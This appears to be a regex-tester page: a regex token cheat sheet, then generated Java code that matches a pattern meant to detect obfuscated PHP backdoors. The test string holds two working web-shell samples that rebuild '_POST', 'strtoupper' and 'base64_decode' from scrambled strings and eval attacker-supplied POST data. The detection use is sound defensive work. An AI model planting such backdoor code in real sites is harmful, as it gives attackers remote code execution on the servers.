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  • All Tokens
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  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

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import java.util.regex.Matcher; import java.util.regex.Pattern; public class Example { public static void main(String[] args) { final String regex = "\\$(.*)(\\s?)=(\\s?)\"(.*)\"(\\s?);(\\s?)\\$(.*)eval"; final String string = "$sqm3 = \"_pesoutr\" ; $exr40= $sqm3[3]. $sqm3[6]. $sqm3[7].$sqm3[6]. $sqm3[4].$sqm3[5].$sqm3[1]. $sqm3[1]. $sqm3[2]. $sqm3[7]; $rgjf3 =$exr40 ($sqm3[0].$sqm3[1] .$sqm3[4].$sqm3[3]. $sqm3[6] );if ( isset ( ${$rgjf3} ['q42dabb'] ) ) {eval(${ $rgjf3}[ 'q42dabb']) ; }?>\n\n" + "$ucz65= \"osb46detp_ac\";$zxg6 = strtolower ( $ucz65[2].$ucz65[10]. $ucz65[1].$ucz65[6]. $ucz65[4]. $ucz65[3] .$ucz65[9] . $ucz65[5].$ucz65[6]. $ucz65[11].$ucz65[0]. $ucz65[5]. $ucz65[6]); $tov98= strtoupper ($ucz65[9]. $ucz65[8].$ucz65[0]. $ucz65[1]. $ucz65[7]) ;if (isset(${ $tov98 } ['n42dabb' ])){eval ($zxg6 ( ${ $t"; final Pattern pattern = Pattern.compile(regex); final Matcher matcher = pattern.matcher(string); while (matcher.find()) { System.out.println("Full match: " + matcher.group(0)); for (int i = 1; i <= matcher.groupCount(); i++) { System.out.println("Group " + i + ": " + matcher.group(i)); } } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html